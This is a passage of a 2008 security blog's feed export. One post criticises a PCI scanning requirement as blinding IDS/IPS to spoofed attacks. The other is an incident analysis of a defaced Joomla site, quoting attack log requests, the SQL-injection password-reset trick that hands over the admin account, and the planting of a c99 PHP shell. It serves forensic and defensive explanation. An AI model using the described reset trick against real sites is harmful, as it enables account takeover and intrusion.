However, blindly accepting the originating &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_14"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;IP&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; of the scanner leaves the hosts vulnerable to various attacks.   Attackers can simply reference various public websites to see what &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_15"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;IP&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; addresses they need to use to bypass those detective or preventive controls.   For example:&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#0000FF;"&gt;&lt;u&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;https://www.mcafeesecure.com/help/scanips.jsp&lt;/span&gt;&lt;/span&gt;&lt;/u&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;br /&gt;&lt;br /&gt;provides attackers with everything they need to launch &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_16"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;UDP&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; based attacks against any site with the “&lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_17"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;HackerSafe&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;” logo on it.   Those attacks will not be detected by the merchant and will not be blocked even though the &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_18"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;IPS&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; could have prevented the attack.   &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_19"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;UDP&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; based attacks are now enabled as a result of this requirement.  Various &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_20"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;TCP&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; based spoofing attacks may also be possible (such as &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_21"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;NMAP&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; IDLE scans).  Again the merchant is now blind to all of these attacks.   &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_22"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;IPS&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;/IDS’s are an important of a comprehensive defense strategy.   I am certainly a proponent of eliminating the vulnerabilities on the server and not relying on &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_23"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;IPS&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;’s to block the attacks.  However Defense in Depth is a staple of any good security program.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_24"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;PCI&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; does strongly encourages and in circumstances require the use of a Web Application firewall.   Today the lines between Web App Firewalls and &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_25"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;IPS&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;’s is a gray one in many circumstances.   For example, many &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_26"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;IPS's&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; such as &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_27"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;McAfee&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_28"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;IntruShield&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;, &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_29"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;TippingPoint&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; and others does not do any &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_30"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;IP&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; blocking by default that would produce the undesirable affect I described above.  They do however drop specific attack packets that match a signature in the same way that Web App firewalls do.   &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_31"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;IPSes&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; will drop Cross Site Scripting, &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_32"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;SQL&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;  and traditional Web App attacks packets in the exact same way that a web app firewall does.   Further more, some web app firewall may do &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_33"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;IP&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; list blacklisting and present the undesired scan scenario described above.  For example the product:  &lt;/span&gt;&lt;/span&gt;&lt;span style="color:#0000FF;"&gt;&lt;u&gt;&lt;a href="http://www.port80software.com/products/serverdefender/artificialintelligence/"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;http://www.port80software.com/products/serverdefender/artificialintelligence/&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/u&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;    Lists the following on its feature list:&lt;br /&gt;&lt;br /&gt;  - Block &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_34"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;IP&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; for subsequent HTTP requests&lt;br /&gt;&lt;br /&gt;With so much Web App Firewall functionality in boxes that have “&lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_35"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;IPS&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;” printed on the Appliance and &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_36"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;IP&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; blocking in Web App Firewalls I think the wording on that requirement needs to be addresses. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div&gt;&lt;span class="Apple-style-span" style=" "&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_37"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;PCI&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; may say something like "Just exclude the &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_38"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;IP&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; of the scanner during the scan and &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_39"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;reenable&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; the &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_40"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;IPS&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; when the scan isn't running."   The problem with that approach is that the required &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_41"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;UDP&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; exhaustive port scans make the scan very slow.   I have personally seen &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_42"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;PCI&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; scans for networks with 2000+ hosts take more than a week to complete.  Then add in time to fix any findings and rescan and large organizations end up with SIGNIFICANT windows of exposure.   In my discussions with various &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_44"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;PCI&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; scanning vendors I am told that the OVERWHELMING VAST MAJORITY of business simply exclude the &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_45"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;IPS&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; from their IDS/&lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_46"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;IPS&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; and go about their business.   This is very dangerous indeed leaving them completely blind to attackers.&lt;br /&gt;&lt;br /&gt;In summary,  I don’t believe that the wording of this requirement accurately reflects the &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_47"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;PCI&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; Council’s intention.   I think that in practice it creates a significant unmonitored exposure for merchants.   I have attempted to contact the &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_48"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;PCI&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; counsel and see if they can address the exposure and risk to credit card data they are unintentionally creating with this requirement, but they are not interested in speaking with me&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;.   But there is a beacon of hope.  As I was about to give up I received an email from David Taylor, founder of www.KnowPCI.com.   &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_50"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;KnowPCI&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;.com is a great forum to pose &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_51"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;PCI&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; questions to &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_52"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;knowledgeable&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_53"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;PCI&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_54"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;professionals&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt; and get answers to questions.   Check out the site.  &lt;/span&gt;&lt;/span&gt;&lt;a href="http://www.knowpci.com/"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;www.knowpci.com&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3840785077954302324-2076266299375164622?l=www.indepthdefense.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/2076266299375164622'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/2076266299375164622'/><link rel='alternate' type='text/html' href='http://www.indepthdefense.com/2008/09/pci-gaping-hole-in-your-idsips.html' title='PCI - The gaping hole in your IDS/IPS'/><author><name>&lt;b&gt;Jesus Freak, Security Nerd &lt;/b&gt;</name><uri>http://www.blogger.com/profile/17506248363186095351</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-3840785077954302324.post-1436627029296803612</id><published>2008-08-16T20:44:00.005-04:00</published><updated>2008-08-18T08:53:52.932-04:00</updated><title type='text'>Owned by a SINGLE CHARACTER</title><content type='html'>I recently had the no so pleasurable task of dissecting an 0wn3d host to determine what happened.  The attacker did the system owner a favor and tagged the site with a defacement image making detection pretty easy.  The image appeared in small title frame on the top of the page.   My initial guess was they had a directory traversal vulnerability in the image upload engine and some weak permissions on a folder structure.   We took a look at the date/time of the defaced pic and it showed the image had change the previous evening.    "find / -mtime 0" showed a few other files that had changed around the same time.   One of them was a new PHP file.   vi revealed it was a variant of the c99 PHP Shell.    So we go to the apache logs and find the attackers IP and try to figure out how he got in.     There are two interesting entries:&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;[14/Aug/2008:22:18:42 189.50.144.24 - - [14/Aug/2008:22:18:42 -0400] "POST /index.php?option=com_user&amp;amp;task=completereset HTTP/1.1" 301 -&lt;/div&gt;&lt;div&gt;[14/Aug/2008:22:18:44 189.50.144.24 - - [14/Aug/2008:22:18:44 -0400] "GET /administrator/ HTTP/1.1" 200 4121&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;A check for recent vendor patches lead us to this..&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica"&gt;&lt;a href="http://developer.joomla.org/security/news/241-20080801-core-password-remind-functionality.html"&gt;http://developer.joomla.org/security/news/241-20080801-core-password-remind-functionality.html&lt;/a&gt;&lt;/p&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;This is a very interesting vulnerability.   Its a SQL injection vulnerability in the password reset function.   The code that actually resets the password is this..&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica"&gt;&lt;/p&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;$db-&gt;setQuery('SELECT id FROM #__users WHERE block = 0 AND activation = '.$db-&gt;Quote($token));&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;Token is  supposed to a verification code that is sent to your email address when you request a password reset.   BUT if you just say your token is an ampersand then the SQL statement looks like this...&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica"&gt;&lt;/p&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;SELECT id FROM jos_users WHERE block = 0 AND activation = ''&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;Which select the first account in the database (ADMINISTRATOR) for a password reset.   The next screen that appears is where your prompted for a new admin password.    Sorry Dude,  Your website was 0wn3d by a single character.&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;Once the attacker had admin access, he added his own php code (c99 shell) and had full access to the apache instance (as the apache user).     So why only a small image in a small frame when he had access to SO much more?    Who knows.   Perhaps good fortune.    Perhaps they caught it early.   The attack certainly did not require much work.   Just about anyone could pull it off.   Maybe he didn't know what he was doing, but my guess is there were a TON of websites  out there that required his attention.   The PUBLIC disclosure of the PHP vulnerability was about 48 hours old at the time.    48 hours isn't enough time to move through most change control processes.   There were probably many more fish to fry.&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;If you haven't patched.   Go ahead and do it and save yourself some heartache.&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica"&gt;&lt;a href="http://isc.sans.org/diary.html?storyid=4894"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;SANS POST&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica"&gt;&lt;a href="http://www.milw0rm.com/exploits/6234"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;Exploit&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p style="margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px Helvetica"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3840785077954302324-1436627029296803612?l=www.indepthdefense.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/1436627029296803612'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/1436627029296803612'/><link rel='alternate' type='text/html' href='http://www.indepthdefense.com/2008/08/owned-by-single-character.html' title='Owned by a SINGLE CHARACTER'/><author><name>&lt;b&gt;Jesus Freak, Security Nerd &lt;/b&gt;</name><uri>http://www.blogger.com/profile/17506248363186095351</uri><email>noreply@blogger.com</email><gd:image 